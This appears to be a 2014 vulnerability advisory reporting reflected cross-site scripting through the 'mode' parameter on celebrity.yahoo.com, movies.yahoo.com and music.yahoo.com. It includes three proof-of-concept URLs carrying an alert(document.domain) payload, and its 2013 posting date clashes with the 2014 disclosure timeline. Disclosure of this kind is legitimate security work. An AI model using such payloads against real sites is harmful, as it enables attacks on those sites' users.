what you don't know can hurt you

Yahoo mode Cross Site Scripting

Yahoo mode Cross Site Scripting
Posted Mar 9, 2013
Authored by Stefan Schurtz

The mode parameter on celebrity.yahoo.com, movies.yahoo.com, and music.yahoo.com suffered from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | a82f6962b1c26c5687c1f6c7873f2e8f

Yahoo mode Cross Site Scripting

Change Mirror Download

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In Jan ?14 I reported three Cross-site Scripting vulnerabilities to the
Yahoo Bug Bounty Program. And I know, it is really really hard, but ...
again ... no feedback or bounty :)

Advisory: Yahoo Bug Bounty Program Vulnerability #4
#5 #6 Cross-site Scripting vulnerabilities
Advisory ID: SSCHADV2014-YahooBB-004 / YahooBB-005 /
YahooBB-006
Author: Stefan Schurtz
Affected Software: Successfully tested on celebrity.yahoo.com,
movies.yahoo.com, music.yahoo.com
Vendor URL: http://yahoo.com/
Vendor Status: Not tested anymore
Bounty: nothing

==========================
Vulnerability Description
==========================

The 'mode'-Paramter on "https://celebrity.yahoo.com/",
"https://movies.yahoo.com/", "https://music.yahoo.com/" is prone to a
Cross-site Scripting vulnerability

==========================
PoC-Exploit
==========================

http://celebrity.yahoo.com/video/george-clooney-responds-tina-fey-230813957.html?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

http://movies.yahoo.com/photos/star-wars-cast-rumors-1389647299-slideshow/?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

http://music.yahoo.com/videos/?m_id=&m_mode=&instance_id=
mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

==========================
Disclosure Timeline
==========================

20-Jan-2014 - vendor informed by contact form (Yahoo Bug Bounty Program)

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-004.txt
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-005.txt
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-006.txt
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